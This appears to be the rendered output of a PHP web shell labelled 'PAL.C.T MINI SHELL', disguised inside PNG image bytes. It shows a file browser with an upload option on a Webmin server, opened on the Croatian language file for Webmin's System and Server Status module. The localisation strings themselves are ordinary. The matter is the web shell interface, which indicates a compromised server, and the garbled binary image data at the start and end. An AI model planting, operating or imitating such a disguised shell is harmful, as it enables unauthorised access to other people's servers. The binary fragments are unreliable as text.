php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/status/lang/
upload
files >> //usr/libexec/webmin/status/lang/hr.auto

index_title=Sustav i status poslužitelja
index_name=Naziv usluge
index_host=Na domaćinu
index_desc=Praćenje
index_up=Status
index_last=Zadnja provjera
index_local=lokalne
index_add=Dodajte monitor tipa:
index_sched=Planirani nadzor
index_scheddesc=Uključite ili isključite zakazane provjere monitora i postavite adresu na koju se kvarovi automatski šalju.
index_return=popis usluga
index_none=Trenutno nisu definirani monitori.
index_oldtime=Status od posljednje zakazane provjere na $1 
index_esnmp=Modul je konfiguriran za slanje SNMP zamki na stranici <a href='$3'>Konfiguriranje modula</a>, ali $1 Perl modul nije instaliran. <a href='$2'>Kliknite ovdje</a> za preuzimanje i instaliranje odmah.
index_refresh=Osvježi status
index_refreshdesc=Izvršite odmah osvježavanje svih statusa monitora, umjesto da čekate sljedeće zakazano ažuriranje.
index_delete=Obriši odabrano
index_refsel=Osvježi odabrano
index_group=Članovi $1 
index_tmpls=Uređivanje predložaka e-pošte
index_tmplsdesc=Pregledajte i uredite predloške korištene za izradu poruka e-pošte poslanih kada promatrane usluge propadaju.

type_apache=Apache Webserver
type_inetd=Internet i RPC poslužitelj
type_xinetd=Prošireni Internet poslužitelj
type_squid=Linija proxy poslužitelja
type_bind8=BIND DNS poslužitelj
type_dnsadmin=BIND 4 DNS poslužitelj
type_dhcpd=DHCP poslužitelj
type_tcp=Daljinska usluga TCP
type_http=Udaljena HTTP usluga
type_sslcert=SSL potvrda
type_ftp=Daljinska FTP usluga
type_sendmail=Poslužitelj Sendmail
type_postfix=Postfix poslužitelj
type_fail2ban=Poslužitelj Fail2Ban
type_ping=Daljinski Ping
type_proc=Provjerite postupak
type_mysql=MySQL poslužitelj baza podataka
type_postgresql=PostgreSQL poslužitelj baza podataka
type_samba=Samba poslužitelji
type_nfs=NFS poslužitelj
type_exec=Izvršite naredbu
type_file=Provjerite datoteku ili direktorij
type_traffic=Mrežni promet
type_space=Prostor na disku
type_du=Veličina direktorija
type_consume=Potrošnja prostora na disku
type_load=Prosjek opterećenja
type_change=Promjena datoteke ili imenika
type_oldfile=Datoteka nije promijenjena
type_qmailadmin=QMail Server
type_mon=MON servisni monitor
type_jabber=Jabber IM poslužitelj
type_usermin=Usermin Webserver
type_portsentry=Portsentry Daemon
type_hostsentry=Domaćin Daemon
type_webmin=Webmin Webserver
type_cfengine=Motor konfiguracije Daemon
type_memory=Slobodna memorija
type_proftpd=ProFTPD poslužitelj
type_dovecot=Dovecot IMAP/POP3 poslužitelj
type_mailserver=Odgovor poštanskog poslužitelja
type_sshd=SSH poslužitelj
type_raid=Status uređaja RAID
type_iface=Status mrežnog sučelja
type_init=Bootup Akcija
type_sensors=Status senzora LM
type_nut=NUT UPS vrijednost
type_mailq=Veličina čekanja pošte
type_dns=DNS pretraživanje
type_query=SQL upit
type_alive=Živ sustav
type_rssh=Udaljeni SSH
type_slapd=LDAP poslužitelj
type_ldap=LDAP veza

mon_create=Stvorite monitor
mon_edit=Uredi monitor
mon_virtualmin=Upozorenje! Ovaj je monitor povezan s domenom Virtualmin $1 i zato ga ovdje ne treba uređivati ili brisati.
mon_header=Pojedinosti o monitoru
mon_header2=Naredbe za pokretanje
mon_header3=Mogućnosti nadgledanja usluga
mon_desc=Opis
mon_remote=Pokreni na domaćinu
mon_remotes2=Trčanje na domaćinima i grupama
mon_local=lokalne
mon_none=Nema definiranih udaljenih poslužitelja
mon_nosched=Provjera na rasporedu?
mon_warndef=Da i koristite zadani način izvještavanja
mon_warn1=Da i izvijestite o promjenama stanja
mon_warn0=Da i prijavite kad silazite
mon_warn2=Da i prijavite kad ste dolje
mon_warn3=Da, ali nikad ne prijavite
mon_status=Trenutni status
mon_up=gore
mon_down=dolje
mon_webmin=Webmin Down
mon_timeout=Isteklo
mon_not=Nije instalirano
mon_ondown=Ako se monitor spusti, pokrenite naredbu
mon_onup=Ako se pojavi monitor, pokrenite naredbu
mon_ontimeout=Ako monitor istekne, pokrenite naredbu
mon_clone=Modul za nadzor
mon_err=Spremanje monitora nije uspjelo
mon_edesc=Nedostaje opis
mon_elogin=Nevažeća prijava za RPC na Webmin serveru $1 
mon_eremote2=Nije moguće kontaktirati Webmin server $1 : $2 
mon_estatus=Webmin server $1 nema modul System and Status Status
mon_ecannot=Nije vam dopušteno uređivanje monitora
mon_ertype=Ova vrsta monitora nije dostupna na $1 
mon_etype=Nevažeće ime vrste monitora
mon_runon=Pokrenite naredbe
mon_runon0=Ovaj poslužitelj
mon_runon1=Udaljeni domaćin
mon_oninfo=Napomena: Naredbe će se izvoditi samo kad se pošalje e-pošta
mon_fails=Neuspjesi prije prijavljivanja
mon_efails=Nedostaje ili je nevaljan broj kvarova
mon_notify=Načini obavijesti
mon_notifyemail=E-mail
mon_notifypager=pejdžer
mon_notifysnmp=SNMP
mon_notifysms=SMS
mon_email=Pošaljite i e-poštu za ovu uslugu
mon_depend=Ne provjeravajte je li monitor isključen
mon_edepend=Monitor ne može ovisiti o sebi
mon_clone2=Klon
mon_skip=preskočena
mon_empty=Nema članova
mon_onemem=Jedan član
mon_members=$1 članova
mon_enoremote=Nema odabranih domaćina ili grupa koji se pokreću
mon_tmpl=Predložak za poruke
mon_notmpl=Ništa (koristite zadane postavke Webmin)
mon_header4=Povijest statusa
mon_hwhen=Provjerite datum
mon_hold=Stari status
mon_hnew=Novi status
mon_hvalue=Vrijednost
mon_changes0=Prikaži svaku vrstu događaja
mon_changes1=Prikaži samo promjene
mon_all=Prikaži sve povijesne događaje
mon_nochanges=U posljednjim $1 povijesnim događajima nije se dogodila promjena statusa.

sched_title=Planirani nadzor
sched_header=Planirane mogućnosti praćenja pozadine
sched_mode=Je li planirano provjera omogućeno?
sched_email=Izvješće o statusu e-poštom na
sched_pager=Izvješće o statusu stranice na broj
sched_none=Ne šaljite e-poštu
sched_pnone=Ne šaljite stranice
sched_from=Od: adresa za e-poštu
sched_int=Provjerite svaki
sched_period_0=minuta
sched_period_1=sati
sched_period_2=dana
sched_period_3=mjeseci
sched_period_4=tjedni
sched_offset=sa offsetom
sched_warn=Pošaljite e-poštu kada
sched_warn1=Kada usluga promijeni status
sched_warn0=Kad usluga propadne
sched_warn3=Sve dok je usluga gore
sched_warn2=Bilo koji servis prestaje
sched_single=Pošaljite jedan email po usluzi?
sched_hours=Pokrenite monitor tijekom sati
sched_days=Pokreni monitor danima
sched_err=Spremanje zakazanog praćenja nije uspjelo
sched_eemail=Nedostaje adresa e-pošte
sched_eint=Nedostaje ili nije važeći interval
sched_eoffset=Nedostaje ili nevažeća kompenzacija
sched_ehours=Nema odabranih sati za pokretanje
sched_edays=Nema odabranih dana za pokretanje
sched_ecannot=Nije vam dopušteno uređivanje zakazanog praćenja
sched_smtp=Pošaljite poštu putem
sched_smtp_prog=Lokalni poslužitelj pošte
sched_smtp_server=SMTP poslužitelj
sched_esmtp=Nedostaje ili nije važeći SMTP poslužitelj
sched_esmtpcmd=SMTP naredba $1 nije uspjela : $2 
sched_eemailserver=Vaš poslužitelj e-pošte nije instaliran : $1 
sched_sms=Pošalji SMS korisniku
sched_smsno=Nitko
sched_smscarrier=Telefon na nosaču
sched_smsnumber=s brojem
sched_esmsnumber=Nedostaje ili ne numerički SMS broj
sched_esmsname=Nedostaje ili je nevažeći SMS broj
sched_subject=Redak predmeta za SMS poruke
sched_subject0=Nema (upozorenje je u tijelu)
sched_subject1=Tekst upozorenja (tijelo je ostavljeno prazno)
sched_subject2=Prilagođeni tekst
sched_esubject=Nedostaje predmet SMS poruke

up_since=Gore od $1 
depends_mod=Modul $1 nije instaliran na vašem sustavu
depends_os=Modul $1 nije podržan u vašem sustavu
depends_remote=Modul $1 nije podržan na poslužitelju $2 

tcp_host=Domaćin da se povežete
tcp_port=Port za povezivanje
tcp_alarm=Vrijeme povezanosti je isteklo
tcp_ehost=Nedostaje ili nevaljano ime računala
tcp_eport=Nedostaje ili nevažeći broj porta
tcp_ealarm=Nedostaje ili nije važeći prekid veze

http_url=URL za zahtjev
http_alarm=Vrijeme povezanosti je isteklo
http_eurl=Nedostaje ili nevažeći URL
http_ealarm=Nedostaje ili nije važeći prekid veze
http_login=Prijavite se kao
http_none=Nemojte autentificirati
http_user=Korisničko ime
http_pass=zaporka
http_euser=Nedostaje korisničko ime
http_method=Način HTTP zahtjeva
http_regexp=Stranica mora odgovarati regexp
http_eregexp=Nije unesen uobičajeni izraz za podudaranje stranice
http_none2=Ne podudaraj se
http_ehead=Metoda zahtjeva HEAD ne može se koristiti pri provjeri regularnog izraza
http_codes=Prihvatljivi HTTP statusni kodovi
http_codes_def=Zadano ($1)
http_ecodes=Nisu uneseni HTTP kodovi za prihvaćanje
http_ecodes3=HTTP kod mora biti troznamenkasti broj

ping_host=Domaćin pinga
ping_wait=Vrijeme je za pričekati odgovor
ping_ehost=Nedostaje ili nevaljano ime računala
ping_ewait=Nedostaje ili nije valjano vrijeme čekanja
ping_econfig=U modulu Config nije postavljena naredba ping
ping_timeout=Isteklo je nakon $1 sekundi
ping_resolv=Nije uspjelo riješiti ime hosta

proc_pid=Trčanje s PID-ovima $1 
proc_cmd=Naredba za provjeru
proc_not=Ne uspije ako je postupak
proc_not0=Ne trčim
proc_not1=Trčanje
proc_ecmd=Nedostaje naredba
proc_thresh=Broj procesa koji mora postojati da bi se monitor mogao smatrati pokretanim
proc_ethresh=Nedostaje ili nije važeći broj postupaka
proc_asuser=Pokreće se kao korisnik
proc_anyuser=Bilo koji korisnik
proc_easuser=Korisnik za proces koji se pokreće jer ne postoji

exec_cmd=Naredba za pokretanje
exec_mode=Napustite provjeru statusa
exec_mode0=Monitor neuspjeha ako naredba ne uspije
exec_mode1=Neuspjeli monitor ako naredba uspije
exec_mode2=Zanemarite uspjeh ili neuspjeh
exec_ecmd=Nedostaje naredba
exec_regexp=Usporedite izlaz s regexp
exec_noregexp=Ne provjeravaj
exec_remode=Regexp provjera
exec_remode0=Neuspjeh ako se rezultat ne podudara
exec_remode1=Neuspjeh ako se rezultat podudara

file_file=Datoteka, mapa ili uzorak za provjeru
file_test=Test za izvođenje
file_test_0=Mora postojati
file_test_1=Ne smije postojati
file_test_2=Veličina mora biti veća od
file_test_3=Veličina mora biti manja od
file_bytes=bajtova
file_efile=Nedostaje naziv datoteke ili imenika za provjeru
file_esize=Nevažeća veličina datoteke
file_elarge=Datoteke su prevelike : $1 
file_esmall=Datoteke su premale : $1 
file_eowner=Datoteke s pogrešnim vlasnikom : $1 
file_egroup=Datoteke s pogrešnom grupom : $1 
file_owner=Vlasnik datoteke mora biti
file_group=Grupa datoteka mora biti
file_nocheck=nešto
file_perms=Oktalna dozvola moraju biti
file_eperm=Datoteke s pogrešnim dozvolama : $1 

traffic_iface=Sučelje za nadzor
traffic_bytes=Maksimalni bajt/sekunda
traffic_dir=Smjer za praćenje
traffic_dir0=Dolazni i odlazni
traffic_dir1=Samo dolazni
traffic_dir2=Samo odlazni
traffic_desc=Ovaj monitor prati mrežni promet na odabranom sučelju i prikazuje ga kao dolje ako promet premašuje broj bajtova u sekundi upisan ispod. Ovo stvarno dobro funkcionira ako je omogućen predviđeni nadzor postavljen na kratak interval, kao i na svakih 5 minuta.
traffic_eifaces=Vaš operativni sustav nema datoteku/proc/net/dev
traffic_ebytes=Nedostaje ili nevažeći broj bajtova/sekundi

space_fs=Datotečni sustav za provjeru
space_min2=Minimalni slobodni prostor
space_mode0=Apsolutna veličina
space_mode1=Postotak od ukupnog broja
space_desc=$1 besplatno
space_nofs=Datotečni sustav nije montiran
space_other=Ostali ..
space_emin=Nedostaje ili nije važeći slobodni prostor
space_epc=Nedostaje ili nevažeći postotak slobodnog prostora
space_eother=Nedostaje ili nije valjan datotečni sustav
space_inode=Minimalni besplatni čvorovi
space_ierr=Samo $1 unosi besplatno
space_merr=Samo prostor $1 
space_perr=Samo $1% besplatno
space_dferr=Nije uspjelo dobivanje veličine datotečnog sustava

load_time=Učitajte prosjek za provjeru
load_1=1 minuta
load_5=5 minuta
load_15=15 minuta
load_max=Maksimalni prosjek opterećenja
load_emax=Nedostaje ili nevažeći prosječni maks
load_ecmd=Naredba <tt>uptime</tt> nije pronađena u vašem sustavu
load_efmt=Izlaz naredbe <tt>uptime</tt> nije se mogao raščlaniti

log_create=Izrađen monitor $1 
log_modify=Izmijenjen monitor $1 
log_delete=Izbrisan monitor $1 
log_sched=Izmijenjen je planirani nadzor
log_deletes=Izbrisani su $1 nadzornici
log_tmpl_create=Izrađen je predložak e-pošte $1 
log_tmpl_modify=Izmijenjeni predložak e-pošte $1 
log_tmpl_delete=Izbrisani je predložak e-pošte $1 
log_tmpl_deletes=Izbrisani su $1 predlošci e-pošte
log_refresh=Osvježeni statusi monitora

acl_edit=Može li se uređivati i stvarati monitori?
acl_sched=Može li se promijeniti planirani nadzor?

change_file=Datoteka ili direktorij za nadgledanje (neuspjeh ako se promijeni)

jabber_eparser=Perl modul $1 nije instaliran na vašem sustavu.

memory_min2=Minimalna slobodna stvarna memorija
memory_emin=Nedostaje ili nije važeća količina slobodne stvarne memorije
memory_eproc=Webmin ne zna kako provjeriti slobodnu memoriju na vašem operativnom sustavu
memory_free2=$1 stvarna memorija slobodna
memory_freeswap=$1 virtualna memorija
memory_freelow=Samo $1 stvarne memorije bez
memory_freelowswap=Samo besplatna virtualna memorija $1 
memory_minswap=Minimalna besplatna virtualna memorija
memory_eminswap=Nedostaje ili nije važeća količina slobodne virtualne memorije

proftpd_etype=Ovaj se monitor ne može koristiti ako se ProFTPD pokreće samostalno

mailserver_to=Pošaljite e-poštu na adresu
mailserver_timeout=Vrijeme i interval
mailserver_units_0=sekunde
mailserver_units_1=minuta
mailserver_units_2=Sati
mailserver_units_3=dana
mailserver_desc=Adresa u nastavku mora biti odgovornik koji odgovara na adresu izvora s istim naslovom Subject:

oldfile_file=Datoteka za nadzor (neuspjeh ako nije promijenjena)
oldfile_diff=Neuspjelo ako nije promijenjeno za
oldfile_secs=sekundi

raid_device=RAID uređaj
raid_edevice=Nije odabran nijedan RAID uređaj
raid_bad=Otkriven je loš disk
raid_resync=Trenutno se resyncing
raid_notfound=RAID uređaj $1 nije pronađen
raid_other=Ostali ..

iface_iface=Sučelje za provjeru

init_action=Akcija za provjeru
init_eaction=Nije odabrana nijedna radnja

refresh_title=Osvježi status
refresh_doing=Osvježavanje statusa svih monitora ..
refresh_doing2=Osvježavanje statusa $1 odabranih monitora ..
refresh_done=.. gotovo.

sensors_name=Senzor za provjeru
sensors_value=Nije uspjelo kada
sensors_value0=Sustav označava upozorenje
sensors_value1=Vrijednost je ispod $1 
sensors_value2=Vrijednost je iznad $1 
sensors_cmd=Naredba <tt>senzori</tt> nije instalirana na vašem sustavu. Za rad ovog monitora potreban je instaliran paket lm_sensors.
sensors_none=Nisu otkriveni senzori na vašem sustavu. Možda ćete trebati pokrenuti naredbu za pokretanje <tt>senzora-otkrivanje</tt>.
sensors_cur=$1 (trenutno $2 $3)
sensors_emin=Nedostaje ili nije važeća minimalna vrijednost
sensors_emax=Nedostaje ili neispravna maksimalna vrijednost

nut_ups=NUT UPS za provjeru
nut_name=Atributi za provjeru
nut_value=Nije uspjelo kada
nut_value1=Vrijednost je ispod $1 
nut_value2=Vrijednost je iznad $1 
nut_cmd=Naredba <tt>upsc</tt> nije instalirana na vašem sustavu. Ovaj monitor zahtijeva da NUT paket bude instaliran i konfiguriran za rad.
nut_eups=Nije upisan USP za provjeru
nut_cur=$1 (trenutno $2)
nut_emin=Nedostaje ili nije važeća minimalna vrijednost
nut_emax=Nedostaje ili neispravna maksimalna vrijednost

mailq_system=Poslužitelj pošte
mailq_qmailadmin=qmail
mailq_postfix=Postfix
mailq_sendmail=Poslati mail
mailq_size=Maksimalna veličina reda čekanja
mailq_esize=Nedostaje ili nije važeća maksimalna veličina reda
mailq_toomany=Dolje - $1 poruke u redu
mailq_ok=Gore - $1 poruke u redu

dns_server=DNS poslužitelj
dns_host=Naziv hosta za traženje
dns_address=Očekivana IP adresa
dns_eserver=Nedostaje ili nije važeći DNS poslužitelj
dns_ehost=Nedostaje ili je nevažeće ime računala za traženje
dns_eaddress=Nedostaje ili nije važeća očekivana IP adresa
dns_ecmds=Ni naredbe <tt>nslookup</tt> niti <tt>dig</tt> nisu instalirane na vašem sustavu

monitor_sub_down=$1 dolje na $2 
monitor_pager_down=$1 : "$2" je pao $3 
monitor_snmp_down= $1:$2 
monitor_email_down=Monitor na $1 za '$2' otkrio je da je usluga pala na $3 
monitor_sub_up=$1 sigurnosno kopiranje na $2 
monitor_pager_up=$1 : "$2" izrađuje sigurnosnu kopiju $3 
monitor_snmp_up= $1:$2 rezervno je
monitor_email_up=Monitor na $1 za '$2' otkrio je da se usluga vratila natrag na $3 
monitor_sub_un=$1 deinstalirano na $2 
monitor_pager_un=$1 : deinstalirano $3 "$2"
monitor_snmp_un= $1:$2 deinstalirano
monitor_email_un=Monitor na $1 za '$2' otkrio je da je usluga deinstalirana na $3 
monitor_sub_webmin=$1 Webmin dolje na $2 
monitor_pager_webmin=$1 : Webmin "$2" dolje $3 
monitor_snmp_webmin= $1:$2 Webmin dolje
monitor_email_webmin=Monitor na $1 za '$2' otkrio je da je Webmin dolje na $3 
monitor_sub_timed=Isteklo je $1 za $2 
monitor_pager_timed=$1 : Isteklo je vrijeme "$2" $3 
monitor_snmp_timed=Isteklo je $1:$2 
monitor_email_timed=Monitor na $1 za '$2' isteknuo je na $3 
monitor_sub_isdown=$1 dolje na $2 
monitor_pager_isdown=$1 : "$2" je pao $3 
monitor_snmp_isdown= $1:$2 
monitor_email_isdown=Monitor na $1 za '$2' otkrio je da je usluga smanjena na $3 
monitor_sub_isup=$1 na $2 
monitor_pager_isup=$1 : "$2" je porast $3 
monitor_snmp_isup=$1:$2 
monitor_email_isup=Monitor na $1 za '$2' otkrio je da je usluga porasla na $3 
monitor_sub=Monitor usluge : $1 
monitor_sub2=Monitor usluge
monitor_sub3=Monitor usluge: $1 usluge
monitor_run1=Trčanje $1 na $2 ..
monitor_run2=Trčanje $1 ..
monitor_runerr=Pokretanje $1 na $2 : $3 nije uspjelo
monitor_email_stat=Trenutačni status: $1 

deletes_egone=Jedan od odabranih monitora više ne postoji
deletes_enone=Nije odabran nijedan monitor

ftp_host=Domaćin FTP poslužitelja
ftp_port=FTP priključak
ftp_user=Prijavite se kao korisnik
ftp_anon=anoniman
ftp_pass=Sa lozinkom
ftp_file=Dohvatiti datoteku
ftp_none=Ništa (samo prijava)
ftp_ehost=Nedostaje ili nije važeći domaćin FTP poslužitelja
ftp_eport=Nedostaje ili nije važeći ulaz FTP poslužitelja
ftp_efile=Nedostaje ili nije važeća datoteka za preuzimanje
ftp_tls=Koristite TLS enkripciju?
ftp_etls=TLS se ne može omogućiti ako nije instaliran $1 Perl modul
ftp_econn=TLS FTP veza nije uspjela
ftp_econn2=TLS FTP veza nije uspjela : $1 
ftp_elogin=Prijava za TLS FTP nije uspjela : $1 
ftp_etlsfile=Preuzimanje TLS FTP-a nije uspjelo : $1 

query_driver=Vrsta SQL baze podataka
query_db=Naziv baze podataka
query_host=Domaćin poslužitelja baze podataka
query_local=Ovaj poslužitelj
query_user=Prijavite se kao korisnik
query_pass=Prijavite se lozinkom
query_sql=SQL upit izvršiti
query_result=Očekivani rezultat
query_ignore=Zanemari rezultat
query_edriver=Perl upravljački modul $1 nije instaliran
query_edb=Nedostaje ili nevažeće ime baze podataka
query_ehost=Nedostaje ili nije valjano ime računala poslužitelja baze podataka
query_euser=Nevažeće korisničko ime
query_epass=Netočna zaporka
query_esql=Nedostaje SQL upit
query_eresult=Nedostaje očekivani rezultat
query_elogin=Prijava nije uspjela : $1 
query_eprepare=SQL pogreška : $1 
query_eexecute=SQL nije uspio : $1 
query_ewrong=Netačan rezultat : $1 

consume_rate=Maksimalna stopa potrošnje (u sekundi)
consume_high=Stopa potrošnje je $1 / second

alive_up=Gore za $1 

rssh_host=Domaćin SSH poslužitelja
rssh_ruser=Prijavite se kao korisnik
rssh_rpass=Prijavite se lozinkom
rssh_nopass=Nije potrebno
rssh_nologin=Ne pokušavajte se prijaviti
rssh_ehost=Nedostaje ili nije važeći domaćin SSH poslužitelja
rssh_eruser=Nedostaje korisničko ime
rssh_ecmd=Naredba <tt>ssh</tt> nije instalirana na vašem sustavu
rssh_eproc=Modul Trčanje Procesi nije podržan u vašem sustavu
rssh_wrongpass=Neispravna prijava
rssh_failed=Veza nije uspjela
rssh_error=SSH pogreška
rssh_haspass=Zaporka
rssh_port=Port za SSH poslužitelj
rssh_eport=Nedostaje ili nevažeći broj porta

tmpls_title=Predlošci e-pošte
tmpls_ecannot=Nije vam dopušteno uređivanje predložaka e-pošte
tmpls_none=Još nisu definirani predlošci e-pošte. Sva upozorenja bit će poslana putem zadanih poruka Webmin-a.
tmpls_desc=Opis
tmpls_email=Poruka e-pošte
tmpls_add=Dodajte novi predložak e-pošte.
tmpls_return=popis predložaka
tmpls_delete=Izbriši odabrane predloške

tmpl_title1=Kreirajte predložak e-pošte
tmpl_title2=Uređivanje predloška e-pošte
tmpl_header=Obavijesti predloge poruka e-pošte
tmpl_desc=Opis predloška
tmpl_email=Poruka e-pošte
tmpl_sms=SMS poruka
tmpl_sms1=Zadani webmin
tmpl_sms0=Prilagođena poruka u nastavku ..
tmpl_snmp=Poruka dojavljivača
tmpl_instr=Upute i zamjene
tmpl_subs=E-poruke, SMS i dojavne poruke definirane na ovoj stranici mogu koristiti sljedeće zamjene :
tmpl_subs_desc=Opis usluge
tmpl_subs_host=Domaćin se nadzire
tmpl_subs_date=Trenutni datum
tmpl_subs_time=Trenutno vrijeme
tmpl_subs_status=Status usluge, poput <i>Dolje</i>
tmpl_subs2=Pored toga, možete koristiti uvjetne blokove kao što su: <tt>$1 usluga je smanjena $2 usluga je u redu $3</tt>
tmpl_err=Nije uspjelo spremanje predloška e-pošte
tmpl_edesc=Nedostaje opis predloška
tmpl_emsg=Nedostaje e-poruka
tmpl_esms=Nedostaje SMS poruka
tmpl_esnmp=Nedostaje SNMP poruka
tmpl_err2=Brisanje predloška e-pošte nije uspjelo
tmpl_eusers=Koriste ga sljedeći monitori : $1 

dtmpls_err=Brisanje predložaka nije uspjelo
dtmpls_enone=Nijedna nije odabrana
dtmpls_eusers=$1 koriste sljedeći monitori : $2 

sslcert_src=Lokacija certifikata
sslcert_url=S HTTPS URL-a
sslcert_file=Iz datoteke na poslužitelju
sslcert_eurl=Nedostaje, nevažeći ili ne-SSL URL
sslcert_efile=Nedostaje ili nije važeća datoteka certifikata
sslcert_ecert=Nije moguće dobiti potvrdu
sslcert_edown=Web poslužitelj je isključen
sslcert_days=Nekoliko dana prije isteka roka valjanosti
sslcert_when=Kada je istekao rok
sslcert_mismatch=Otkrivanje i neusklađenost imena hosta?
sslcert_edays=Nedostaje ili nevažeći broj dana
sslcert_eopenssl=Za provjeru certifikata potrebna je naredba <tt>openssl</tt>
sslcert_estart=Ne vrijedi do $1 
sslcert_eend=Ne vrijedi nakon $1 
sslcert_left=Gore - $1 dana do isteka roka
sslcert_ematch=Ime hosta $1 ne odgovara certifikatu $2 
sslcert_emismatch=Provjera imena domaćina certifikata može se upotrijebiti samo prilikom provjere URL-a

du_dir=Imenik za nadzor
du_max=Maksimalna veličina
du_edir=Nedostaje ili nije apsolutni put direktorija
du_emax=Nedostaje ili ne numerička maksimalna veličina
du_over=Veličina je $1 
du_under=Veličina je samo $1 

ldap_edriver=Perl modul $1 nije instaliran
ldap_host=Naziv glavnog računala LDAP poslužitelja
ldap_port=LDAP poslužiteljski port
ldap_ssl=Koristite SSL vezu?
ldap_user=Prijava na LDAP poslužitelj
ldap_pass=Lozinka LDAP poslužitelja

info_desc=Monitor sustava
info_last=Trenutni status
info_title=Sustav i status poslužitelja
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`